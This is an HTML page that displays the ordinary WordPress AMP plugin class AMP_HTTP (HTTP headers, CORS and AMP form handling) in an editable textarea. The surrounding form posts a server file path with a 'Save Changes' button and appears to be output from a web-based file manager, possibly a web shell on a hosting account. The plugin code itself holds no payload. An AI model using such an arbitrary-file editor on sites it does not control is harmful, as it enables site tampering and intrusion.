<h2>File Contents: /home/planet5/public_html/wp-content/plugins/amp/includes/class-amp-http.php</h2><form method='POST' action=''><input type='hidden' name='edit_file' value='/home/planet5/public_html/wp-content/plugins/amp/includes/class-amp-http.php'><textarea name='file_content' rows='10' cols='50'>&lt;?php
/**
 * Class AMP_HTTP
 *
 * @since 1.0
 * @package AMP
 */

/**
 * Class AMP_HTTP
 *
 * @internal
 */
class AMP_HTTP {

	/**
	 * Query var which is submitted with a form which had an action attribute which was automatically converted into action-xhr.
	 *
	 * @see \AMP_Form_Sanitizer::sanitize()
	 * @var string
	 */
	const ACTION_XHR_CONVERTED_QUERY_VAR = &#039;_wp_amp_action_xhr_converted&#039;;

	/**
	 * Headers sent (or attempted to be sent).
	 *
	 * This is used primarily for the benefit of unit testing. Otherwise, `headers_list()` should be used.
	 *
	 * @since 1.0
	 * @see AMP_HTTP::send_header()
	 * @var array[]
	 */
	public static $headers_sent = [];

	/**
	 * Whether Server-Timing headers are sent.
	 *
	 * By default this is false to prevent breaking some web servers with an unexpected number of response headers. To
	 * enable in `WP_DEBUG` mode, consider the following plugin code:
	 *
	 *     add_action( &#039;amp_init&#039;, function () {
	 *         AMP_HTTP::$server_timing = ( ( defined( &#039;WP_DEBUG&#039; ) &amp;&amp; WP_DEBUG ) || current_user_can( &#039;manage_options&#039; ) );
	 *     } );
	 *
	 * @link https://gist.github.com/westonruter/053f8f47c21df51f1a081fc41b47f547
	 * @var bool
	 */
	public static $server_timing = false;

	/**
	 * AMP-specific query vars that were purged.
	 *
	 * @since 0.7
	 * @since 1.0 Moved to AMP_HTTP class.
	 * @see AMP_HTTP::purge_amp_query_vars()
	 * @var string[]
	 */
	public static $purged_amp_query_vars = [];

	/**
	 * Send an HTTP response header.
	 *
	 * This largely exists to facilitate unit testing but it also provides a better interface for sending headers.
	 *
	 * @since 0.7.0
	 * @since 1.0 Moved to AMP_HTTP class.
	 *
	 * @param string $name  Header name.
	 * @param string $value Header value.
	 * @param array  $args {
	 *     Args to header().
	 *
	 *     @type bool $replace     Whether to replace a header previously sent. Default true.
	 *     @type int  $status_code Status code to send with the sent header.
	 * }
	 * @return bool Whether the header was sent.
	 */
	public static function send_header( $name, $value, $args = [] ) {
		$args = array_merge(
			[
				&#039;replace&#039;     =&gt; true,
				&#039;status_code&#039; =&gt; 0,
			],
			$args
		);

		self::$headers_sent[] = array_merge( compact( &#039;name&#039;, &#039;value&#039; ), $args );
		if ( headers_sent() ) {
			return false;
		}

		header(
			sprintf( &#039;%s: %s&#039;, $name, $value ),
			$args[&#039;replace&#039;],
			empty( $args[&#039;status_code&#039;] ) ? 0 : (int) $args[&#039;status_code&#039;]
		);
		return true;
	}

	/**
	 * Send Server-Timing header.
	 *
	 * If WP_DEBUG is not enabled and an admin user (who can manage_options) is not logged-in, the Server-Header will not be sent.
	 *
	 * @since 1.0
	 *
	 * @deprecated Use the `ServerTiming` service or its associated actions instead.
	 * @internal
	 *
	 * @param string $name        Name.
	 * @param float  $duration    Duration. If negative, will be added to microtime( true ). Optional.
	 * @param string $description Description. Optional.
	 * @return bool Return value of send_header call. If WP_DEBUG is not enabled or admin user (who can manage_options) is not logged-in, this will always return false.
	 */
	public static function send_server_timing( $name, $duration = null, $description = null ) {
		_deprecated_function( __METHOD__, &#039;2.0.0&#039;, &#039;Use the AmpProject\AmpWp\Instrumentation\ServerTiming service or its associated actions instead.&#039; );

		if ( ! self::$server_timing ) {
			return false;
		}
		$value = $name;
		if ( isset( $description ) ) {
			$value .= sprintf( &#039;;desc=&quot;%s&quot;&#039;, str_replace( [ &#039;\\&#039;, &#039;&quot;&#039; ], &#039;&#039;, substr( $description, 0, 100 ) ) );
		}
		if ( isset( $duration ) ) {
			if ( $duration &lt; 0 ) {
				$duration = microtime( true ) + $duration;
			}
			$value .= sprintf( &#039;;dur=%f&#039;, $duration * 1000 );
		}
		return self::send_header( &#039;Server-Timing&#039;, $value, [ &#039;replace&#039; =&gt; false ] );
	}

	/**
	 * Remove query vars that come in requests such as for amp-live-list.
	 *
	 * WordPress should generally not respond differently to requests when these parameters
	 * are present. In some cases, when a query param such as __amp_source_origin is present
	 * then it would normally get included into pagination links generated by get_pagenum_link().
	 * The validating sanitizer empties out links that contain this string as it matches the
	 * disallowed_value_regex. So by preemptively scrubbing any reference to these query vars
	 * we can ensure that WordPress won&#039;t end up referencing them in any way.
	 *
	 * @since 0.7
	 * @since 1.0 Moved to AMP_HTTP class.
	 */
	public static function purge_amp_query_vars() {
		$query_vars = [
			&#039;__amp_source_origin&#039;,
			self::ACTION_XHR_CONVERTED_QUERY_VAR,
			&#039;amp_latest_update_time&#039;,
			&#039;amp_last_check_time&#039;,
		];

		// Scrub input vars.
		foreach ( $query_vars as $query_var ) {
			if ( ! isset( $_GET[ $query_var ] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
				continue;
			}
			self::$purged_amp_query_vars[ $query_var ] = wp_unslash( $_GET[ $query_var ] ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
			unset( $_REQUEST[ $query_var ], $_GET[ $query_var ] ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended
			$scrubbed = true;
		}

		if ( isset( $scrubbed ) ) {
			$build_query = static function ( $query ) use ( $query_vars ) {
				$pattern = &#039;/^(&#039; . implode( &#039;|&#039;, $query_vars ) . &#039;)(?==|$)/&#039;;
				$pairs   = [];
				foreach ( explode( &#039;&amp;&#039;, $query ) as $pair ) {
					if ( ! preg_match( $pattern, $pair ) ) {
						$pairs[] = $pair;
					}
				}

				return implode( &#039;&amp;&#039;, $pairs );
			};

			// Scrub QUERY_STRING.
			if ( ! empty( $_SERVER[&#039;QUERY_STRING&#039;] ) ) {
				$_SERVER[&#039;QUERY_STRING&#039;] = $build_query( $_SERVER[&#039;QUERY_STRING&#039;] ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
			}

			// Scrub REQUEST_URI.
			if ( ! empty( $_SERVER[&#039;REQUEST_URI&#039;] ) ) {
				list( $path, $query ) = explode( &#039;?&#039;, $_SERVER[&#039;REQUEST_URI&#039;], 2 ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized

				$pairs                  = $build_query( $query );
				$_SERVER[&#039;REQUEST_URI&#039;] = $path;
				if ( ! empty( $pairs ) ) {
					$_SERVER[&#039;REQUEST_URI&#039;] .= &quot;?{$pairs}&quot;;
				}
			}
		}
	}

	/**
	 * Filter the allowed redirect hosts to include AMP caches.
	 *
	 * @since 1.0
	 *
	 * @param array $allowed_hosts Allowed hosts.
	 * @return array Allowed redirect hosts.
	 */
	public static function filter_allowed_redirect_hosts( $allowed_hosts ) {
		return array_merge( $allowed_hosts, self::get_amp_cache_hosts() );
	}

	/**
	 * Get list of AMP cache hosts (that is, CORS origins).
	 *
	 * @since 1.0
	 * @link https://www.ampproject.org/docs/fundamentals/amp-cors-requests#1)-allow-requests-for-specific-cors-origins
	 *
	 * @return array AMP cache hosts.
	 */
	public static function get_amp_cache_hosts() {
		$hosts = [];

		// Google AMP Cache (legacy).
		$hosts[] = &#039;cdn.ampproject.org&#039;;

		// From the publisher’s own origins.
		$domains = array_unique(
			[
				wp_parse_url( site_url(), PHP_URL_HOST ),
				wp_parse_url( home_url(), PHP_URL_HOST ),
			]
		);

		if ( defined( &#039;INTL_IDNA_VARIANT_UTS46&#039; ) ) {
			$intl_idna_variant = INTL_IDNA_VARIANT_UTS46;
		} elseif ( defined( &#039;INTL_IDNA_VARIANT_2003&#039; ) ) {
			$intl_idna_variant = INTL_IDNA_VARIANT_2003; // phpcs:ignore PHPCompatibility.Constants.RemovedConstants.intl_idna_variant_2003Deprecated
		} else {
			$intl_idna_variant = 0;
		}

		/*
		 * From AMP docs:
		 * &quot;When possible, the Google AMP Cache will create a subdomain for each AMP document&#039;s domain by first converting it
		 * from IDN (punycode) to UTF-8. The caches replaces every - (dash) with -- (2 dashes) and replace every . (dot) with
		 * - (dash). For example, pub.com will map to pub-com.cdn.ampproject.org.&quot;
		 */
		foreach ( $domains as $domain ) {
			if ( function_exists( &#039;idn_to_utf8&#039; ) &amp;&amp; $intl_idna_variant ) {
				// The third parameter is set explicitly to prevent issues with newer PHP versions compiled with an old ICU version.
				$domain = idn_to_utf8( $domain, IDNA_DEFAULT, $intl_idna_variant );
			}
			$subdomain = str_replace( [ &#039;-&#039;, &#039;.&#039; ], [ &#039;--&#039;, &#039;-&#039; ], $domain );

			// Google AMP Cache subdomain.
			$hosts[] = sprintf( &#039;%s.cdn.ampproject.org&#039;, $subdomain );

			// Bing AMP Cache.
			$hosts[] = sprintf( &#039;%s.bing-amp.com&#039;, $subdomain );
		}

		return $hosts;
	}

	/**
	 * Send cors headers.
	 *
	 * From the AMP docs:
	 * Restrict requests to source origins
	 * In all fetch requests, the AMP Runtime passes the &quot;__amp_source_origin&quot; query parameter, which contains
	 * the value of the source origin (for example, &quot;https://publisher1.com&quot;).
	 *
	 * To restrict requests to only source origins, check that the value of the &quot;__amp_source_origin&quot; parameter
	 * is within a set of the Publisher&#039;s own origins.
	 *
	 * Access-Control-Allow-Origin: &lt;origin&gt;
	 * This header is a W3 CORS Spec requirement, where origin refers to the requesting origin that was allowed
	 * via the CORS Origin request header (for example, &quot;https://&lt;publisher&#039;s subdomain&gt;.cdn.ampproject.org&quot;).
	 *
	 * Although the W3 CORS spec allows the value of * to be returned in the response, for improved security, you should:
	 *
	 * - If the Origin header is present, validate and echo the value of the Origin header.
	 * - If the Origin header isn&#039;t present, validate and echo the value of the &quot;__amp_source_origin&quot;.
	 *
	 * (Otherwise, no Access-Control-Allow-Origin header is sent.)
	 *
	 * AMP-Access-Control-Allow-Source-Origin: &lt;source-origin&gt;
	 * This header allows the specified source-origin to read the authorization response. The source-origin is
	 * the value specified and verified in the &quot;__amp_source_origin&quot; URL parameter (for example, &quot;https://publisher1.com&quot;).
	 *
	 * Access-Control-Expose-Headers: AMP-Access-Control-Allow-Source-Origin
	 * This header simply allows the CORS response to contain the AMP-Access-Control-Allow-Source-Origin header.
	 *
	 * @link https://www.ampproject.org/docs/fundamentals/amp-cors-requests
	 * @since 1.0
	 */
	public static function send_cors_headers() {
		$origin        = null;
		$source_origin = null;
		if ( isset( $_SERVER[&#039;HTTP_ORIGIN&#039;] ) ) {
			$origin = wp_validate_redirect( wp_sanitize_redirect( esc_url_raw( wp_unslash( $_SERVER[&#039;HTTP_ORIGIN&#039;] ) ) ) );
		}
		if ( isset( self::$purged_amp_query_vars[&#039;__amp_source_origin&#039;] ) ) {
			$source_origin = wp_validate_redirect( wp_sanitize_redirect( esc_url_raw( self::$purged_amp_query_vars[&#039;__amp_source_origin&#039;] ) ) );
		}
		if ( ! $origin ) {
			$origin = $source_origin;
		}

		if ( $origin ) {
			self::send_header( &#039;Access-Control-Allow-Origin&#039;, $origin, [ &#039;replace&#039; =&gt; false ] );
			self::send_header( &#039;Access-Control-Allow-Credentials&#039;, &#039;true&#039; );
			self::send_header( &#039;Vary&#039;, &#039;Origin&#039;, [ &#039;replace&#039; =&gt; false ] );
		}
		if ( $source_origin ) {
			self::send_header( &#039;AMP-Access-Control-Allow-Source-Origin&#039;, $source_origin );
			self::send_header( &#039;Access-Control-Expose-Headers&#039;, &#039;AMP-Access-Control-Allow-Source-Origin&#039;, [ &#039;replace&#039; =&gt; false ] );
		}
	}

	/**
	 * Hook into a POST form submissions, such as the comment form or some other form submission.
	 *
	 * @since 0.7.0
	 * @since 1.0 Moved to AMP_HTTP class. Extracted some logic to send_cors_headers method.
	 */
	public static function handle_xhr_request() {
		$is_amp_xhr = (
			! empty( self::$purged_amp_query_vars[ self::ACTION_XHR_CONVERTED_QUERY_VAR ] )
			&amp;&amp;
			( ! empty( $_SERVER[&#039;REQUEST_METHOD&#039;] ) &amp;&amp; &#039;POST&#039; === $_SERVER[&#039;REQUEST_METHOD&#039;] )
		);
		if ( ! $is_amp_xhr ) {
			return;
		}

		// Intercept POST requests which redirect.
		add_filter( &#039;wp_redirect&#039;, [ __CLASS__, &#039;intercept_post_request_redirect&#039; ], PHP_INT_MAX );

		// Add special handling for redirecting after comment submission.
		add_filter( &#039;comment_post_redirect&#039;, [ __CLASS__, &#039;filter_comment_post_redirect&#039; ], PHP_INT_MAX, 2 );

		// Add die handler for AMP error display, most likely due to problem with comment.
		$handle_wp_die = static function () {
			return [ __CLASS__, &#039;handle_wp_die&#039; ];
		};
		add_filter( &#039;wp_die_json_handler&#039;, $handle_wp_die );
		add_filter( &#039;wp_die_handler&#039;, $handle_wp_die ); // Needed for WP&lt;5.1.
	}

	/**
	 * Intercept the response to a POST request.
	 *
	 * @since 0.7.0
	 * @since 1.0 Moved to AMP_HTTP class.
	 * @see wp_redirect()
	 * @see amp_get_current_url()
	 * @see AMP_Form_Sanitizer::get_action_url()
	 *
	 * @param string $location The location to redirect to.
	 */
	public static function intercept_post_request_redirect( $location ) { // phpcs:ignore WordPressVIPMinimum.Hooks.AlwaysReturnInFilter.MissingReturnStatement -- It dies.

		// Make sure relative redirects get made absolute.
		$parsed_home_url = wp_parse_url( get_home_url() );
		$parsed_location = wp_parse_url( $location );
		if ( isset( $parsed_location[&#039;host&#039;] ) ) {
			// Make sure the home port is not accidentally applied to the redirect location URL.
			unset( $parsed_home_url[&#039;port&#039;] );
		}

		$parsed_location = array_merge(
			wp_array_slice_assoc( $parsed_home_url, [ &#039;host&#039;, &#039;port&#039; ] ),
			[
				&#039;scheme&#039; =&gt; &#039;https&#039;,
				&#039;path&#039;   =&gt; isset( $_SERVER[&#039;REQUEST_URI&#039;] ) ? strtok( wp_unslash( $_SERVER[&#039;REQUEST_URI&#039;] ), &#039;?&#039; ) : &#039;/&#039;, // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
			],
			$parsed_location
		);

		$absolute_location = &#039;&#039;;
		if ( &#039;https&#039; === $parsed_location[&#039;scheme&#039;] ) {
			$absolute_location .= $parsed_location[&#039;scheme&#039;] . &#039;:&#039;;
		}
		$absolute_location .= &#039;//&#039; . $parsed_location[&#039;host&#039;];
		if ( isset( $parsed_location[&#039;port&#039;] ) ) {
			$absolute_location .= &#039;:&#039; . $parsed_location[&#039;port&#039;];
		}
		$absolute_location .= $parsed_location[&#039;path&#039;];
		if ( isset( $parsed_location[&#039;query&#039;] ) ) {
			$absolute_location .= &#039;?&#039; . $parsed_location[&#039;query&#039;];
		}
		if ( isset( $parsed_location[&#039;fragment&#039;] ) ) {
			$absolute_location .= &#039;#&#039; . $parsed_location[&#039;fragment&#039;];
		}

		self::send_header( &#039;AMP-Redirect-To&#039;, $absolute_location );
		self::send_header( &#039;Access-Control-Expose-Headers&#039;, &#039;AMP-Redirect-To&#039;, [ &#039;replace&#039; =&gt; false ] );

		wp_send_json(
			[
				&#039;message&#039;     =&gt; __( &#039;Redirecting…&#039;, &#039;amp&#039; ),
				&#039;redirecting&#039; =&gt; true, // Make sure that the submit-success doesn&#039;t get styled as success since redirection _could_ be to error page.
			],
			200
		);
	}

	/**
	 * New error handler for AMP form submission.
	 *
	 * @since 0.7.0
	 * @since 1.0 Moved to AMP_HTTP class.
	 * @see wp_die()
	 *
	 * @param WP_Error|string  $error The error to handle.
	 * @param string|int       $title Optional. Error title. If `$message` is a `WP_Error` object,
	 *                                error data with the key &#039;title&#039; may be used to specify the title.
	 *                                If `$title` is an integer, then it is treated as the response
	 *                                code. Default empty.
	 * @param string|array|int $args {
	 *     Optional. Arguments to control behavior. If `$args` is an integer, then it is treated
	 *     as the response code. Default empty array.
	 *
	 *     @type int $response The HTTP response code. Default 200 for Ajax requests, 500 otherwise.
	 * }
	 * @global string $pagenow
	 */
	public static function handle_wp_die( $error, $title = &#039;&#039;, $args = [] ) {
		global $pagenow;
		if ( is_int( $title ) ) {
			$status_code = $title;
		} elseif ( is_int( $args ) ) {
			$status_code = $args;
		} elseif ( is_array( $args ) &amp;&amp; isset( $args[&#039;response&#039;] ) ) {
			$status_code = $args[&#039;response&#039;];
		} else {
			$status_code = 500;
		}

		/*
		 * Handle apparent defect in core where invalid comment form submissions return with a 200 status code.
		 * Successful requests to wp-comments-post.php should always end up doing a redirect after applying the
		 * comment_post_redirect filter, and as such the \AMP_HTTP::filter_comment_post_redirect() method will
		 * ensure that redirect works in AMP. When there is no comment_post_redirect then the alternative is a wp_die()
		 * scenario which should always be considered an error. This workaround is important because otherwise an error
		 * case will get rendered unexpectedly in the div[submit-success] element, when it should be rendered in the
		 * div[submit-error] element. For a fix to the core defect which will make this unnecessary,
		 * see &lt;https://core.trac.wordpress.org/ticket/47393&gt;.
		 */
		if ( 200 === $status_code &amp;&amp; isset( $pagenow ) &amp;&amp; &#039;wp-comments-post.php&#039; === $pagenow ) {
			$status_code = 400;
		}

		if ( is_wp_error( $error ) ) {
			$error = $error-&gt;get_error_message();
		}

		// Message will be shown in template defined by AMP_Theme_Support::amend_comment_form().
		wp_send_json(
			[
				&#039;message&#039; =&gt; amp_wp_kses_mustache( $error ),
			],
			$status_code
		);
	}

	/**
	 * Handle comment_post_redirect to ensure page reload is done when comments_live_list is not supported, while sending back a success message when it is.
	 *
	 * @since 0.7.0
	 * @since 1.0 Moved to AMP_HTTP class.
	 *
	 * @param string     $url     Comment permalink to redirect to.
	 * @param WP_Comment $comment Posted comment.
	 *
	 * @return string|null URL if redirect to be done; otherwise function will exist.
	 */
	public static function filter_comment_post_redirect( $url, $comment ) {
		$theme_support = AMP_Theme_Support::get_theme_support_args();

		// Cause a page refresh if amp-live-list is not implemented for comments via add_theme_support( AMP_Theme_Support::SLUG, array( &#039;comments_live_list&#039; =&gt; true ) ).
		if ( empty( $theme_support[&#039;comments_live_list&#039;] ) ) {
			/*
			 * Add the comment ID to the URL to force AMP to refresh the page.
			 * This is ideally a temporary workaround to deal with https://github.com/ampproject/amphtml/issues/14170
			 */
			$url = add_query_arg( &#039;comment&#039;, $comment-&gt;comment_ID, $url );

			// Pass URL along to wp_redirect().
			return $url;
		}

		// Create a success message to display to the user.
		if ( &#039;1&#039; === (string) $comment-&gt;comment_approved ) {
			$message = __( &#039;Your comment has been posted.&#039;, &#039;amp&#039; );
		} else {
			$message = __( &#039;Your comment is awaiting moderation.&#039;, &#039;amp&#039; );
		}

		/**
		 * Filters the message when comment submitted success message when
		 *
		 * @since 0.7
		 */
		$message = apply_filters( &#039;amp_comment_posted_message&#039;, $message, $comment );

		// Message will be shown in template defined by AMP_Theme_Support::amend_comment_form().
		wp_send_json(
			[
				&#039;message&#039; =&gt; amp_wp_kses_mustache( $message ),
			],
			200
		);

		return null;
	}

	/**
	 * Get the Content-Type for the response.
	 *
	 * @since 1.2
	 *
	 * @return string Content type.
	 */
	public static function get_response_content_type() {
		$content_type = ini_get( &#039;default_mimetype&#039; );
		foreach ( headers_list() as $header ) {
			list( $name, $value ) = explode( &#039;:&#039;, $header, 2 );
			if ( &#039;content-type&#039; === strtolower( $name ) ) {
				$content_type = trim( $value );
				break;
			}
		}
		return $content_type;
	}
}
</textarea><br><button type='submit'>Save Changes</button></form><a href='?dir=%2Fhome%2Fplanet5%2Fpublic_html%2Fwp-content%2Fplugins%2Famp%2Fincludes'>⬅ Back to Directory</a>